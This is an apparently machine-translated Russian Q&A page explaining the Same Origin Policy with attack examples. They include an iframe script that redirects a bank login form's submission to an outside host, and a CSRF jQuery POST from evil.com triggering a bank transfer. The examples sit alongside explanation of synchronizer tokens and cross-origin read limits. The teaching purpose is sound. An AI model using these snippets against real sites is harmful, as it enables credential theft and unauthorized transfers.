Подтвердить что ты не робот

Простой пример того, зачем нужна политика одинакового происхождения

Я читал о Same Origin Policy, но для лучшего понимания вопроса: может ли кто-нибудь написать простой код (на любом языке), который продемонстрирует атаку, которую остановит SOP?

Как можно было напасть на кого-то до того, как появился SOP?

4b9b3361

ОТВЕТЫ

Ответ 1

<iframe id="bank" src="https://yourbank.com"></iframe>

<script>
    window.onload = function() {
        document.getElementById('bank').contentWindow.document.forms[0].action =
            'http://example.com';
    };
</script>

Код Javascript изменяет свойство действия формы (место назначения, в разговоре), поэтому, когда вы отправляете форму, вы отправляете свои учетные данные мне, а не вашему банку.

Если я настроил PHP script на моем сервере, который перенаправляет вас в ваш банк, вы его даже не заметите.

С той же политикой происхождения эта атака невозможна. Сайт в моем домене не может читать или изменять содержимое веб-сайта банка.

Ответ 2

Пример простой атаки: кросс-сайт-запрос (CSRF)

На странице в evil.com атакующий поставил (jQuery из-за лени):

$.post('http://bank.com/transfer', { to: 'ciro', ammount: '100' })

Затем атакующий убеждает вас посетить evil.com (ВЫ ПРИЗНАЛИ ПРИЗ!)

Без дальнейших мер безопасности это будет работать, потому что файлы cookie аутентификации из bank.com будут отправлены и аутентифицированы.

Смотрите также: CSRF в OWASP.

Основная мера безопасности: шаблон токена синхронизатора

Основным решением, используемым для этой проблемы, является: для каждой формы на bank.com генерировать одноразовую случайную последовательность как скрытый параметр и принимать только запрос, если сервер получает параметр.

Например, HTML-помощники Rails автоматически добавляют параметр authenticity_token в HTML, поэтому законная форма будет выглядеть так:

<form action="http://bank.com/transfer" method="post">
  <p><input type="hidden" name="authenticity_token" value="j/DcoJ2VZvr7vdf8CHKsvjdlDbmiizaOb5B8DMALg6s=" ></p>
  <p><input type="hidden" name="to"                 value="ciro"></p>
  <p><input type="hidden" name="ammount"            value="100"></p>
  <p><button type="submit">Send 100$ to Ciro.</button></p>
</form>

Итак, если evil.com делает однопоточный запрос, он никогда не угадает этот токен, и сервер отклонит транзакцию.

Но тогда, что мешает evil.com сделать 2 запроса:

  • XHR GET для токена
  • XHR POST, содержащий хороший токен

Это, где SOP входит в игру: шаг 1 запрещен, поскольку он нарушает SOP. SOP не позволяет вам считывать данные перекрестного запроса обратно в JavaScript. Шаг 2, однако, вполне возможен.

См. также: шаблон маркера синхронизатора в OWASP.

Почему бы просто не отправлять вместо этого файлы cookie с перекрестными запросами?

Я спрашивал себя: но что, если в реализациях было правило вроде: "разрешить любой запрос, но отправлять только файлы cookie в текущем домене XHR"?

Но это все равно позволит использовать другой тип атаки: когда аутентификация основана не на файлах cookie, а на источнике (IP) запроса.

Например, вы находитесь в интранете вашей компании, и оттуда вы можете получить доступ к внутреннему серверу, который не отображается снаружи и хранит секретные данные.

Запрещены ли все запросы на перекрестный поиск?

Даже забывая CORS, нет, мы делаем их каждый день!

От MDN:

  • Обычно записываются записи с перекрестными источниками: ссылки, перенаправления и представления форм.

  • Обычно допускается кросс-начало встраивания: изображения, внешние CSS и Javascript, iframes.

  • Чтения с перекрестным началом обычно не допускаются: XHR (пример выше), iframe read.

    Однако доступ к чтению часто просачивается путем внедрения. Например, вы можете прочитать ширину и высоту встроенного изображения, действия встроенного script или доступности встроенного ресурса (и, следовательно, возможно, если пользователь зарегистрирован или нет в данном домене)

Другие меры профилактики